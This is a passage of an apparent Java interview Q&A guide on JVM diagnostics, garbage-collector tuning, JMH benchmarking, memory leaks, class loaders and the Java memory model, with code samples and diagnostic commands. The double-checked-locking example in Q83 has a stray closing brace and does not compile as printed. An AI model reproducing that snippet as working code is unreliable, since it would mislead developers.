> - **RSS keeps growing yet NMT is flat?** Suspect glibc malloc arenas (`MALLOC_ARENA_MAX=2`) or native libs.
> - **Does NMT track direct buffers?** Yes, under "Other"/"Internal".

#nmt #native-memory #diagnostics

Q45 What is a safepoint and why does it matter? ADVANCED

A safepoint is a state in which all Java threads are paused at known points so the VM can perform operations such as GC, deoptimization, biased lock revocation (removed) or thread dumps. Threads poll at loop back-edges and method returns.

- "Time to safepoint" can be long if one thread is in a long counted loop without polls (reduced by loop strip mining).
- Diagnose with `-Xlog:safepoint`.
- Pauses reported as application-stopped time can exceed GC time.

> **FOLLOW-UP TRAPS**
> - **Are threads in native code a problem?** No, they are considered safe, but must block on return.
> - **Does a thread dump require a safepoint?** Yes for `jstack`, which is why dumps can be delayed.

#safepoint #stw #latency

Q46 Why is a naive Java microbenchmark unreliable, and what does JMH do? INTERMEDIATE

Warm-up, JIT, dead-code elimination, constant folding, loop optimizations and GC make hand-rolled timing loops lie. JMH runs forked JVMs, warm-ups, multiple iterations and provides `Blackhole` to defeat dead-code elimination.

```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime) @OutputTimeUnit(TimeUnit.NANOSECONDS)
@Warmup(iterations = 5) @Measurement(iterations = 5) @Fork(2)
public class ParseBench {
    String s = "12345";
    @Benchmark public int parse() { return Integer.parseInt(s); }
}
```

- Return results or sink to `Blackhole`; keep inputs in non-final `@State` fields.
- Use `-prof gc` and `-prof perfasm` for allocation and assembly.

> **FOLLOW-UP TRAPS**
> - **Why not `System.nanoTime` in a loop?** The JIT may remove or hoist the work.
> - **Why `@Fork`?** Profile pollution from earlier code in the same JVM skews results.

#jmh #benchmarking

Q47 What are JMH pitfalls (constant folding, state, threads)? ADVANCED

Pitfalls: `final` or literal inputs get constant-folded; shared mutable `Scope.Benchmark` state gives false sharing; benchmark loops written by hand defeat JMH's harness; trivial benchmarks measure the harness.

- Never write loops inside `@Benchmark` expecting JMH to scale; JMH may unroll them incorrectly.
- `@Setup(Level.Invocation)` adds overhead comparable to the work measured.
- Check error bars; compare distributions, not single numbers; pin CPU frequency.

FOLLOW-UP TRAPS

- **Does a void benchmark that computes and discards result run?** The JIT may delete it; consume with `Blackhole.consume`.
- **Is a 1-ns difference real?** Usually noise.

#jmh #pitfalls #benchmarking

Q48 Describe common causes of memory leaks in Java. BASIC

A Java leak is an object that is reachable but no longer needed. The usual causes are unbounded collections, static fields, listeners never deregistered, `ThreadLocal` in pooled threads, unclosed resources and class loader leaks.

- Caches without eviction or size bound.
- Inner classes holding `this`; lambdas capturing large objects.
- `ThreadLocal` values staying alive for as long as pool threads live.
- `String.substring`-style retention was fixed in Java 7u6.

FOLLOW-UP TRAPS

- **Can Java leak without a bug in your code?** Yes, in libraries, drivers and frameworks (e.g., JDBC driver registration across redeploys).
- **Does GC prevent all leaks?** No, only unreachable memory is freed.

#memory-leak #heap

Q49 How does `ThreadLocal` leak and how do you prevent it? INTERMEDIATE

Each thread holds a `ThreadLocalMap` with weak keys and strong values. In a pooled thread that never dies, a value is retained until the thread removes it, and if the value references its class loader, the whole application is retained after redeploy.

```
private static final ThreadLocal<Buffer> BUF = ThreadLocal.withInitial(Buffer::new);
try { use(BUF.get()); } finally { BUF.remove(); }
```

- Always `remove()` in `finally` for request-scoped data.
- Prefer scoped values (preview/final in recent JDKs) or explicit passing with virtual threads.

FOLLOW-UP TRAPS

- **Are the keys leaked?** No, weak, so stale entries have null keys but live values until cleaned lazily.
- **Do virtual threads make ThreadLocal fine?** They support it, but millions of threads times a heavy value is costly.

#threadlocal #memory-leak #thread-pool

Q50 What are `WeakHashMap` and `IdentityHashMap` for? INTERMEDIATE

`WeakHashMap` holds keys weakly, so an entry disappears when the key is no longer strongly referenced elsewhere; useful for metadata attached to objects. `IdentityHashMap` compares keys with `==` and `System.identityHashCode`, used for graph traversal and serialization.

- `WeakHashMap` is not thread-safe; wrap with `Collections.synchronizedMap`.
- Interned `String` literals or boxed small values as keys never expire.

FOLLOW-UP TRAPS

- **Why would a `WeakHashMap` never shrink?** The value strongly references the key.
- **Does `IdentityHashMap` honor the `Map` contract?** No, it intentionally violates `equals`-based semantics.

#weakhashmap #identityhashmap #references

Q51 What is Class Data Sharing (CDS) and AOT/GraalVM native image at a high level? ADVANCED

CDS maps a pre-parsed archive of JDK (and with AppCDS, application) classes into memory, cutting startup and sharing memory across JVMs. GraalVM Native Image compiles to a native binary ahead of time: instant startup and low memory, but no JIT peak performance, closed-world assumptions and reflection configuration.

- Dynamic archive: `-XX:ArchiveClassesAtExit=app.jsa` then `-XX:SharedArchiveFile=app.jsa`.
- Native image needs metadata for reflection, proxies and resources (Spring Boot 3 generates hints).
- Project Leyden is working toward AOT caches for the standard JVM.

FOLLOW-UP TRAPS

- **Is native image always faster?** Faster startup, often lower peak throughput than C2.
- **Is CDS enabled by default?** The JDK classes archive is since Java 12.

#cds #graalvm #startup

Q52 How do virtual threads (Java 21) relate to JVM memory and diagnostics? ADVANCED

Virtual threads are heap-allocated continuations mounted on carrier threads; their stacks are stored as stack chunk objects on the heap and grow on demand, so millions are feasible.

- Pinning (blocking in `synchronized` before Java 24, or native frames) stalls the carrier; diagnose with `-Djdk.tracePinnedThreads=full` or the JFR `jdk.VirtualThreadPinned` event.
- `jstack` does not list them; use `jcmd <pid> Thread.dump_to_file -format=json file`.
- They are not GC roots until mounted/referenced; abandoned blocked ones can leak.

FOLLOW-UP TRAPS

- **Do virtual threads speed up CPU-bound code?** No, only waiting-bound workloads.
- **Should you pool virtual threads?** No, create one per task.

#virtual-threads #loom #diagnostics

Scenarios

Q53 A service throws `OutOfMemoryError: Java heap space` after hours of traffic. How do you investigate? INTERMEDIATE

Capture a heap dump at failure, then find the dominator tree to see what retains the memory. Distinguish a leak (steady growth after full GCs) from undersizing (stable but too small).

```
java -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/dumps -jar app.jar
jcmd <pid> GC.class_histogram | head -20
jcmd <pid> GC.heap_dump /dumps/live.hprof
```

- Open in Eclipse MAT: leak suspects report, dominator tree, path to GC roots.
- Compare two histograms taken minutes apart to see which class count grows.
- Check GC log: if post-GC occupancy keeps rising, it is a leak.

FOLLOW-UP TRAPS

- **Is a bigger `-Xmx` a fix?** Only for undersizing; a leak just takes longer to fail.
- **Why might no dump appear?** Disk full, wrong path, or container killed (SIGKILL) before dumping.

#oom #heap-dump #diagnostics

Q54 `OutOfMemoryError: GC overhead limit exceeded` appears. What does it mean? INTERMEDIATE

The Parallel collector spent more than 98% of time in GC while recovering less than 2% of the heap, over several consecutive collections. It is a heuristic that fails fast instead of crawling.

- The root cause is the same as heap exhaustion: leak or undersizing.
- `-XX:-UseGCOverheadLimit` disables the check (usually worsens things).
- G1 and ZGC do not produce this message; they throw plain heap-space OOM or stall.

FOLLOW-UP TRAPS

- **Should you disable the check?** No, it only delays an inevitable failure with an unresponsive app.
- **Is it thrown by G1?** No, it is specific to Parallel (and CMS before removal).

#oom #gc-overhead #parallel-gc

Q55 `OutOfMemoryError: Metaspace` rises after repeated redeployments in Tomcat. Why? ADVANCED

Each redeploy creates a new web-app class loader. If anything outside it keeps a reference to a class or object from the old loader (a `ThreadLocal`, a JDBC driver registered in `DriverManager`, a thread, a shutdown hook), the old loader and all its classes stay in Metaspace.

- Heap dump: find multiple instances of `WebappClassLoader` and trace the GC root path.
- Use `jcmd <pid> VM.classloader_stats` and `GC.class_stats`.
- Fix: deregister drivers, stop threads, clear `ThreadLocal`s in `contextDestroyed`; do not hot-redeploy in production.

FOLLOW-UP TRAPS

- **Is Metaspace unlimited by default?** Yes, so it grows until the container or OS limit; cap it with `-XX:MaxMetaspaceSize`.
- **Do dynamically generated proxies matter?** Yes, per-call `Proxy`/CGLIB class generation inflates Metaspace.

#oom #metaspace #classloader-leak

Q56 `OutOfMemoryError: unable to create native thread`. What are the causes? INTERMEDIATE

The OS refused a new thread: per-process or per-user limit (`ulimit -u`, `pid_max`, cgroup `pids.max`) or no native memory left for the thread's stack (default 1MB virtual each).

- Check thread count with `jcmd <pid> Thread.print | grep -c '^"'`, find the leaking pool.
- Reduce `-Xss`, bound pools, replace thread-per-task with virtual threads or a bounded executor.
- A larger heap leaves less address space or memory for stacks in a fixed container.

FOLLOW-UP TRAPS

- **Will increasing `-Xmx` help?** It can make it worse by taking memory the stacks needed.
- **Is it a heap error?** No, it is native.

#oom #threads #native-memory

Q57 `OutOfMemoryError: Direct buffer memory` with a small heap. What happened? ADVANCED

Direct buffers are capped by `-XX:MaxDirectMemorySize`, and their native memory is freed only after their small heap handle objects are collected. With low heap pressure, GC rarely runs, so native memory fills first.

- Typical in Netty/NIO apps allocating per request without pooling or release (`ReferenceCountUtil.release`).
- Calling `System.gc()` is the JDK's last-resort retry (disabled by `-XX:+DisableExplicitGC`).
- Track with `jcmd VM.native_memory`, JFR, and Netty's leak detector (`-Dio.netty.leakDetection.level=paranoid`).

FOLLOW-UP TRAPS

- **Why does `-XX:+DisableExplicitGC` aggravate it?** The JDK's fallback `System.gc()` becomes a no-op.
- **Does the heap dump show direct memory?** Only the handle objects, not the native bytes.

#oom #direct-memory #netty

Q58 The container is killed with exit code 137 yet the heap looks fine. Why? INTERMEDIATE

The kernel OOM killer ended the process because RSS exceeded the cgroup limit. The heap (`-Xmx`) was within its limit, but total footprint was not: Metaspace, thread stacks, direct buffers, code cache, GC structures and malloc fragmentation add up.

- Lower `-Xmx` or `MaxRAMPercentage` to leave 25-40% headroom.
- Use NMT to see JVM-internal usage; set `MALLOC_ARENA_MAX=2` for glibc fragmentation.
- Kubernetes shows `OOMKilled` in `kubectl describe pod`.

FOLLOW-UP TRAPS

- **Why no `OutOfMemoryError` in the logs?** The JVM got SIGKILL and could not log anything.
- **Does setting `-Xms` = `-Xmx` increase RSS?** It commits memory eagerly (and touches it with `AlwaysPreTouch`), raising RSS earlier.

#containers #oomkilled #native-memory

Q59 Latency spikes every few minutes with G1 and a 16GB heap. How do you proceed? ADVANCED

Correlate spikes with GC logs first: evacuation pauses, mixed GCs, Full GCs, humongous allocations, or non-GC safepoints. Tune only the observed cause.

- Long young pauses: reduce survivor copying, lower allocation rate, check large `ParallelGCThreads` mismatch with CPU quota.
- Long mixed pauses: raise `-XX:G1MixedGCCountTarget`, lower `-XX:G1HeapWastePercent` tuning.
- Full GCs: lower `InitiatingHeapOccupancyPercent`, add headroom (`-XX:G1ReservePercent`), find humongous objects.
- If targets are < 10ms, move to ZGC/Shenandoah.

FOLLOW-UP TRAPS

- **Does lowering `MaxGCPauseMillis` always help?** It shrinks the collection set, causing more frequent GCs and risk of falling behind.
- **Are all pauses GC?** No; check `-Xlog:safepoint` for non-GC VM operations.

#g1 #latency #gc-tuning

Q60 How would you choose between G1, ZGC and Parallel for a new service? INTERMEDIATE

Decide by SLOs. Default to G1. Choose ZGC (or Shenandoah) when tail latency matters on large heaps and you can spare 10-20% more CPU and memory. Choose Parallel for batch where throughput dominates. Use Serial for tiny containers.

- Measure with realistic load; compare p99 latency, throughput, RSS.
- ZGC suits heaps from a few GB to TBs; below ~1GB the barrier cost rarely pays.
- Containers with < 2 CPUs get Serial by default, so force the collector explicitly.

FOLLOW-UP TRAPS

- **Does ZGC raise throughput?** No, it usually trades some for latency.
- **Can you change GC without code changes?** Yes, flags only; re-test since allocation behaviour matters.

#gc-selection #trade-offs

Q61 A `HashMap`-based cache grows without bound. What are your options? BASIC

Bound the cache by size or time. Use Caffeine (`maximumSize`, `expireAfterWrite`) instead of a raw `HashMap`; use `LinkedHashMap` with `removeEldestEntry` for a simple LRU; avoid `SoftReference` as the sole policy.

```
Map<String, Data> lru = new LinkedHashMap<>(16, 0.75f, true) {
    protected boolean removeEldestEntry(Map.Entry<String, Data> e) { return size() > 1000; }
};
```

- Make sure the key's `equals/hashCode` are stable and cheap.
- That `LinkedHashMap` is not thread-safe; wrap or use Caffeine.

FOLLOW-UP TRAPS

- **Is `WeakHashMap` an LRU?** No, entries vanish when keys lose strong refs, not by usage.
- **Why `accessOrder = true`?** It reorders on `get`, giving LRU rather than insertion order.

#memory-leak #cache #eviction

Q62 Memory grows in a Spring app and the histogram shows millions of `char[]` / `byte[]` and `String`. What next? INTERMEDIATE

Arrays and strings are symptoms. In MAT, use the dominator tree and "merge shortest paths to GC roots" on the largest `byte[]` to find which owner retains them: a cache, a request log buffer, a session store, or a result-set holder.

- Since Java 9, `String` is backed by `byte[]` (compact strings), hence `byte[]` dominates.
- Duplicates: check `jcmd GC.heap_dump` plus MAT "duplicate classes"/string duplicates; `-XX:+UseStringDeduplication` helps with G1.
- Look at JFR "Old Object Sample" event for leak candidates with allocation stacks.

FOLLOW-UP TRAPS

- **Does `intern()` fix duplicates?** It trades heap duplicates for pool lookups and can become a scalability bottleneck.
- **Why not look only at shallow size?** Retained size shows what would be freed.

#memory-leak #strings #heap-dump

Q63 How do you find a deadlock in production? BASIC

Take a thread dump with `jstack -l <pid>` or `jcmd <pid> Thread.print`; the JVM reports "Found one Java-level deadlock" with the cycle of monitors and owners. Take multiple dumps spaced seconds apart to confirm threads are stuck, not progressing.

```
"worker-1" waiting to lock monitor 0x...(object A), which is held by "worker-2"
"worker-2" waiting to lock monitor 0x...(object B), which is held by "worker-1"
```

- Fix with a consistent lock ordering, `tryLock` with timeout, or by shrinking lock scope.
- `ThreadMXBean.findDeadlockedThreads()` detects it programmatically (including `java.util.concurrent` locks).

FOLLOW-UP TRAPS

- **Does `jstack` without `-l` show `ReentrantLock` owners?** Not fully; `-l` adds ownable synchronizers.
- **Is a thread in `BLOCKED` for a long time always a deadlock?** No, may be contention.

#jstack #deadlock #threads

Q64 CPU is at 100% on one JVM. How do you find the hot thread? INTERMEDIATE

Map the busiest OS thread to a Java thread: find the thread ID with `top -H -p <pid>`, convert to hex, and look up `nid=0x...` in a `jstack` dump. Then confirm with JFR or async-profiler.

```
top -H -p 1234            # note TID 1260
printf '%x\n' 1260        # 4ec
jstack 1234 | grep -A 15 'nid=0x4ec'
```

- If the hot thread is "GC Thread" or "C2 CompilerThread", it is GC or JIT activity, not business code.
- Take several dumps; one sample can mislead.

> **FOLLOW-UP TRAPS**
> - **Why hex?** `nid` in dumps is the native thread ID in hexadecimal.
> - **Does a flame graph from JFR show native frames?** Limited; async-profiler covers native and kernel.

#cpu #jstack #profiling

Q65 A request is slow for the first minutes after deploy. What can you do? INTERMEDIATE

The JVM is interpreting and compiling; classes load lazily; caches and connection pools are cold. Mitigate with warm-up traffic or synthetic requests before readiness, CDS/AppCDS, and gradual traffic ramp.

- Readiness probes should wait until warm-up completes.
- Options: Class Data Sharing archives, CRaC checkpoints, GraalVM native image for short-lived services.
- Increase compiler threads (`-XX:CICompilerCount`) if CPU quota is tiny and compilation starves.

> **FOLLOW-UP TRAPS**
> - **Will `-Xshare:auto` remove JIT cold start?** No, CDS helps class loading, not compilation.
> - **Does `-XX:TieredStopAtLevel=1` help?** It speeds startup and reduces memory but caps peak throughput.

#warmup #jit #startup

Q66 What will this code do under escape analysis, and how would you check? ADVANCED

After warm-up, C2 inlines `sum`, sees `Pair` does not escape, and scalar-replaces it: zero allocation per call. When the pair is stored into a field, it escapes and allocates.

```
record Pair(int a, int b) {}
static int sum(int x, int y) { Pair p = new Pair(x, y); return p.a() + p.b(); }
```

- Verify with JMH `-prof gc` (`gc.alloc.rate.norm` near 0 B/op) or by comparing with `-XX:-DoEscapeAnalysis`.
- Output: `sum(2, 3)` returns 5 regardless; only performance differs.

> **FOLLOW-UP TRAPS**
> - **Will it hold if `sum` is too big to inline?** No, the object then escapes at the call boundary.
> - **Does escape analysis remove the object in the interpreter?** No.

#escape-analysis #jmh #allocation

Q67 What does this `WeakReference` code print? BASIC

Typically `true` then `null` after `System.gc()`, because the only strong reference was dropped. The output is not guaranteed since `System.gc()` is a hint, though HotSpot honors it by default.

```
Object o = new Object();
WeakReference<Object> w = new WeakReference<>(o);
System.out.println(w.get() != null); // true
o = null;
System.gc();
System.out.println(w.get());         // usually null
```

- With `-XX:+DisableExplicitGC` or in a JIT-optimized loop it may still be alive.
- Never base program logic on this behaviour.

> **FOLLOW-UP TRAPS**
> - **What if `o` was a string literal?** The pool keeps a strong reference, so it never clears.
> - **Would a `SoftReference` clear here?** No, not until memory pressure.

#weak-reference #gc #references

Q68 Design a cache of large images that should shrink under memory pressure. Which reference type?

INTERMEDIATE

`SoftReference` fits "free when memory is tight", but the policy is JVM-controlled (LRU by time since last access scaled by free heap: `SoftRefLRUPolicyMSPerMB`, default 1000ms per free MB). It can cause GC thrashing and unpredictable hit rates.

- Better: bounded Caffeine cache with weight-based eviction (`maximumWeight`) and optional `softValues()`.
- Soft refs add GC reference-processing cost and survive many young GCs, bloating old gen.
- ZGC and G1 clear soft refs before throwing OOM.

FOLLOW-UP TRAPS

- **Are soft refs cleared before OOM?** Yes, the JVM guarantees that.
- **Will soft refs behave the same across servers?** No, they depend on heap size and free memory.

#soft-reference #cache #design

Q69 What happens in this generics code and why?

INTERMEDIATE

It compiles but throws `ArrayStoreException` at runtime, since arrays are covariant and reified while generics are invariant.

```
Object[] arr = new String[1];
arr[0] = 1;                          // ArrayStoreException
List<Object> list = new ArrayList<String>(); // compile error
```

- Arrays check the element type on every store; generics are checked only at compile time.
- Mixing arrays and generics is the source of "generic array creation" errors.

FOLLOW-UP TRAPS

- **Can you create `T[]` safely?** Via `(T[]) Array.newInstance(cls, n)` or `Object[]` cast with care.
- **Does `List<Object> = new ArrayList<String>()` compile via raw types?** Only with unchecked warnings.

#generics #covariance #arrays

Q70 This method signature fails to compile: `void m(List<String> a)` and `void m(List<Integer> a)`. Why?

BASIC

After erasure both methods have the signature `m(List)`, a "name clash: same erasure". Overloading cannot distinguish them.

- Workarounds: rename the methods, add a distinguishing parameter, or use a wrapper type.
- The same erasure rule makes `instanceof List<String>` illegal.

FOLLOW-UP TRAPS

- **Does a differing return type fix it?** No, return type is not part of the Java signature (although bytecode permits it).
- **Is `List<?>` vs `List<String>` distinguishable?** Both erase to `List`, so no.

#generics #erasure #overloading

Q71 A library works on Java 8 but fails on Java 17 with `InaccessibleObjectException`. What now?

INTERMEDIATE

The library reflectively accesses non-open JDK internals, blocked by strong encapsulation since Java 16/17. Upgrade to a version that supports modern Java; as a stop-gap add `--add-opens`.

```
java --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED -jar app.jar
```

- Find offenders with `jdeps --jdk-internals app.jar`.
- Put the flags in `JAVA_TOOL_OPTIONS` or the manifest `Add-Opens` attribute.

FOLLOW-UP TRAPS

- **Does `--illegal-access=permit` still work?** No, it was removed in Java 17.
- **Will `setAccessible(true)` on a private JDK field work?** Only if the package is open to the caller.

#jpms #add-opens #migration

Q72 What happens when two JARs contain the same class, and how do class loaders resolve it? INTERMEDIATE

On the classpath the first JAR in order wins; the other is silently shadowed. This produces `NoSuchMethodError`, `NoClassDefFoundError` or odd behaviour when versions differ ("JAR hell").

- Diagnose with `-verbose:class`, `-Xlog:class+load`, `mvn dependency:tree`, or `Class.getProtectionDomain().getCodeSource()`.
- Fix with dependency convergence/ `dependencyManagement`, shading with relocation, or module path (rejects split packages).

FOLLOW-UP TRAPS

- **Does the order depend on the OS?** It follows classpath order, but wildcard expansion (`lib/*`) order is unspecified.
- **Why `NoSuchMethodError` instead of a compile error?** The compile-time version had the method, the runtime one did not.

#classpath #classloader #jar-hell

Q73 How would you write a custom class loader, and what are the risks? ADVANCED

Extend `ClassLoader`, override `findClass` (not `loadClass`, to keep parent delegation), read bytes and call `defineClass`.

```
class DirLoader extends ClassLoader {
    private final Path root;
    DirLoader(Path root, ClassLoader parent) { super(parent); this.root = root; }
    @Override protected Class<?> findClass(String name) throws ClassNotFoundException {
        try {
            byte[] b = Files.readAllBytes(root.resolve(name.replace('.', '/') + ".class"));
            return defineClass(name, b, 0, b.length);
        } catch (IOException e) { throw new ClassNotFoundException(name, e); }
    }
}
```

- Risks: class loader leaks, duplicate class identities, `LinkageError` if defined twice, security.
- Unloading requires dropping all references to the loader, its classes and instances.

FOLLOW-UP TRAPS

- **Why not override `loadClass`?** You would break delegation unless careful.
- **Can you unload a single class?** No, only via collecting its loader.

#classloader #defineclass #isolation

Q74 What does this static initialization order print? INTERMEDIATE

Output is `A`, `B`, `ctor`: the superclass static block runs first, then the subclass static block, only when the class is first used; the instance constructor runs after.

```
class P { static { System.out.print("A "); } }
class C extends P {
    static { System.out.print("B "); }
    C() { System.out.print("ctor "); }
}
new C(); // A B ctor
```

- A second `new C()` prints only `ctor`.
- `C.CONSTANT` for a compile-time constant would trigger none.

FOLLOW-UP TRAPS

- **What if the static block throws?** `ExceptionInInitializerError`, then `NoClassDefFoundError` on every later use.
- **Is initialization thread-safe?** Yes, the JVM locks per class; circular dependencies can deadlock.

#class-initialization #clinit #static

Q75 A benchmark shows `list.stream().mapToInt(...).sum()` is 10x faster than the boxed version. Why, and is the benchmark credible? INTERMEDIATE

Primitive streams avoid boxing and unboxing, objects allocation and pointer chasing. The gap is plausible for tight loops but must be validated with JMH, including allocation rates, since a naive timer may reflect JIT warm-up.

- Use `@Benchmark` returning the result; inspect `-prof gc` for B/op.
- Real gains shrink when the source is already `List<Integer>` (unboxing remains).
- The boxed pipeline can be partially optimized by escape analysis for small cases.

FOLLOW-UP TRAPS

- **Does the result generalize to I/O-heavy code?** No, it matters for CPU-bound hot loops.
- **Is `Stream` always slower than `for`?** Not always; for large pipelines after inlining they can match.

#boxing #streams #jmh

Q76 Two threads each update their own `volatile long`, yet throughput halves with both running. Explain and fix. ADVANCED

Both fields are adjacent in memory within one cache line, so each write invalidates the other core's copy: false sharing. Pad or isolate them.

```
class Counters {
    @jdk.internal.vm.annotation.Contended volatile long a;
    @jdk.internal.vm.annotation.Contended volatile long b;
}
```

- `@Contended` outside the JDK needs `-XX:-RestrictContended` and `--add-exports java.base/jdk.internal.vm.annotation=ALL-UNNAMED`.
- Portable alternative: manual padding with unused long fields (JIT may remove or reorder them) or arrays with stride of 8-16 elements.
- Best: use `LongAdder`, or aggregate per-thread then merge.

FOLLOW-UP TRAPS

- **Do read-only shared lines have the issue?** No; only writes invalidate lines.
- **How big is a cache line?** Usually 64 bytes (128 on some ARM/Apple parts).

#false-sharing #contended #performance

Q77 You see `Allocation Stall` in ZGC logs. What do you do? ADVANCED

Application threads are blocked waiting for memory because allocation outpaced concurrent reclamation. Give ZGC more headroom or concurrency, or cut allocation.

- Increase `-Xmx` (ZGC needs spare heap, often 20-30%) or `-XX:SoftMaxHeapSize` tuning.
- More GC threads: `-XX:ConcGCThreads`; ensure the container has enough CPU.
- Use generational ZGC (`-XX:+ZGenerational` on 21) to reclaim short-lived objects cheaply.
- Reduce allocation rate with JFR allocation profiling.

FOLLOW-UP TRAPS

- **Is this a pause?** It is a per-thread stall, not a STW pause, but similarly visible to users.
- **Does ZGC `SoftMaxHeapSize` hard-limit the heap?** No, it is a soft target.

#zgc #allocation-stall #tuning

Q78 A "Pause Full (G1 Compaction Pause)" appears. How do you prevent it? ADVANCED

A Full GC means G1 could not reclaim space fast enough: evacuation failure, humongous fragmentation or marking started too late. Fix the cause.

- Start marking earlier: lower `-XX:InitiatingHeapOccupancyPercent` (or keep adaptive IHOP and add reserve `-XX:G1ReservePercent`).
- Add heap or reduce allocation rate and promotion (fewer long-lived temporary objects).
- Remove/size humongous objects; avoid `System.gc()` calls and RMI periodic GC (`-XX:+DisableExplicitGC` or `-XX:+ExplicitGCInvokesConcurrent`).
- Log: `-Xlog:gc*,gc+phases=debug`; look for "To-space exhausted".

FOLLOW-UP TRAPS

- **Is "to-space exhausted" fatal?** No, it triggers slow evacuation failure handling or Full GC, but not OOM by itself.
- **Does Full GC use many threads in G1?** Yes since Java 10.

#g1 #full-gc #tuning

Q79 After upgrading to Java 17 in Kubernetes, the app uses only 1 CPU worth of threads. Why? INTERMEDIATE

The JVM derives `availableProcessors()` from the cgroup CPU limit (quota/period, rounded up). A limit of `500m` yields 1 processor, so the common ForkJoin pool, GC threads and compiler threads shrink, and with under 2 CPUs the JVM picks Serial GC.

- Check: `jcmd <pid> VM.info` or print `Runtime.getRuntime().availableProcessors()`.
- Fix: raise the CPU limit, force `-XX:+UseG1GC` and `-XX:ActiveProcessorCount=N` where justified.
- CPU limits also throttle (CFS) bursts, causing latency spikes even when average usage is low.

FOLLOW-UP TRAPS

- **Do CPU requests change ergonomics?** No, only limits do (and cpusets).
- **Is throttling visible in GC logs?** Indirectly as long pauses with low CPU time (real >> user+sys).

#containers #cpu #ergonomics

Q80 A JMH benchmark returns 0.3 ns/op for a computation. What went wrong? INTERMEDIATE

The JIT eliminated the work: either the result is unused (dead-code elimination) or the inputs are compile-time constants (constant folding). Fix by returning the value or passing it to a `Blackhole`, and reading inputs from non-final `@State` fields.

```
@State(Scope.Thread)
public class B {
    double x = 42.0;                        // not final: prevents folding
    @Benchmark public double sqrt() { return Math.sqrt(x); }
}
```

- Sub-nanosecond results per op are a red flag.
- Verify via `-prof perfasm` or `-prof gc` that the code is really executed.

FOLLOW-UP TRAPS

- **Does `final double x` matter?** Yes, it can be folded away.
- **Does returning void with `Blackhole.consume` cost?** A little, but it is the intended guard.

#jmh #dead-code #constant-folding

Q81 Your JMH numbers vary wildly between runs. What would you check? INTERMEDIATE

Check forks (use at least 2-3), warm-up length, CPU frequency scaling/turbo, noisy neighbours, thermal throttling, GC activity, and profile pollution from polymorphic call sites.

- Use `@Fork(3)`, sufficient `@Warmup`, and examine the score error (`±`) and per-fork results.
- Pin to cores (`taskset`), disable turbo/power saving, run on a quiet machine, avoid laptops on battery.
- Run `-prof gc` to correlate with allocation; try `-XX:+UseParallelGC` or `-XX:+UseEpsilonGC` to isolate GC noise.

FOLLOW-UP TRAPS

- **Is a bigger iteration count always better?** Not if the variance comes from forks, not iterations.
- **Does `Epsilon GC` suit all benchmarks?** Only short ones that fit the heap; it never reclaims.

#jmh #variance #benchmarking

Q82 A `ConcurrentModificationException` vs a stale read: how does the JMM explain a loop that never exits? INTERMEDIATE

Without `volatile` or synchronization, the JIT may hoist the field read out of the loop, so the reader never sees the writer's update and spins forever.

```
class Worker {
    boolean stop;                       // should be volatile
    void run() { while (!stop) { /* work */ } }
    void halt() { stop = true; }
}
```

- Make `stop` `volatile`, or use `AtomicBoolean`/interruption.
- It may appear to work in the interpreter or debug mode and fail after JIT compilation.

FOLLOW-UP TRAPS

- **Will `Thread.sleep` in the loop fix it?** Not guaranteed by the spec; use proper synchronization.
- **Does printing inside the loop mask the bug?** Yes, `System.out` synchronizes and creates happens-before.

#jmm #visibility #volatile

Q83 A singleton with double-checked locking occasionally returns a partially built object. Why? ADVANCED

Without `volatile`, the write of the reference may become visible before the writes inside the constructor (reordering), so another thread sees a non-null reference to an incompletely initialized object.

```
class S {
    private static volatile S inst;          // volatile is required
    static S get() {
        S s = inst;
        if (s == null) { synchronized (S.class) { s = inst; if (s == null) inst = s = new S(); } }
}
        return s;
    }
}
```

- Simpler options: the initialization-on-demand holder idiom or an enum singleton.
- If all fields are `final`, the object is safe even without volatile.

FOLLOW-UP TRAPS

- **Did the old pre-Java 5 JMM allow DCL?** No, it was broken; Java 5 fixed volatile.
- **Does the holder idiom need locking?** No, class initialization provides it.

#jmm #dcl #safe-publication

Q84 This thread dump shows 200 threads `WAITING` on `LinkedBlockingQueue.take` and 50 `BLOCKED` on one monitor. What is the diagnosis? INTERMEDIATE

Idle pool workers waiting on the queue are normal. The 50 `BLOCKED` threads contending for one `synchronized` monitor indicate a lock bottleneck, so find the single owner thread ("locked <0x...>") and what it is doing.

- Look at the owner's stack: usually slow I/O, a DB call, or heavy computation inside the critical section.
- Fix: shrink the critical section, move I/O outside, use finer-grained locks, `ConcurrentHashMap`, or read-write/stamped locks.
- JFR `jdk.JavaMonitorEnter` events show contention totals.

FOLLOW-UP TRAPS

- **Is `WAITING` the same as `BLOCKED`?** No; `BLOCKED` is waiting to enter a monitor, `WAITING` is `wait/park/join`.
- **One dump enough?** No, take 3-5.

#jstack #contention #thread-dump

Q85 Heap usage after each full GC climbs 50MB per hour. Where do you begin? INTERMEDIATE

Slow steady growth after full GC confirms a leak. Use JFR's Old Object Sample (low overhead) in production or two `GC.class_histogram` snapshots hours apart, then take a heap dump for the growing class.

```
jcmd <pid> JFR.start settings=profile name=leak duration=1h path-to-gc-roots=true
filename=leak.jfr
jcmd <pid> GC.class_histogram > h1.txt
```

- Examine the `OldObjectSample` events with root paths in JMC.
- In MAT compare dumps via "compare to baseline".
- Review recent changes for new caches, listeners, metrics tags with unbounded cardinality.

FOLLOW-UP TRAPS

- **Why use `:live` or full GC before histogram?** To exclude garbage not yet collected.
- **Can a metrics library leak?** Yes, unbounded label values create an ever-growing registry.

#memory-leak #jfr #heap-histogram

Q86 A listener registration leaks the UI/service object. How do you fix it? BASIC

A long-lived publisher holds a strong reference to the listener, which holds its owner. Deregister in a lifecycle hook (`close`, `@PreDestroy`) or store listeners weakly.

```
class Bus {
    private final List<Consumer<String>> subs = new CopyOnWriteArrayList<>();
    Runnable subscribe(Consumer<String> c) { subs.add(c); return () -> subs.remove(c); }
}
```

- Return an unsubscribe handle so callers can clean up.
- Beware lambdas and inner classes capturing `this`.

FOLLOW-UP TRAPS

- **Does a method reference capture `this`?** Yes if bound (`obj::method`).
- **Are weak listeners safe?** They can disappear while still needed if nothing else holds them.

#memory-leak #listeners #lifecycle

Q87 A Spring app in production generates millions of proxy classes and Metaspace grows. Cause? ADVANCED

Something creates a new class on every call: building a new `Proxy`, CGLIB `Enhancer`, Groovy/JS script, or `MethodHandle`/lambda spinner per request without caching, or a fresh class loader each time.

- Heap/class histogram: many classes with names like `$$EnhancerByCGLIB$$` or `$Proxy123`.
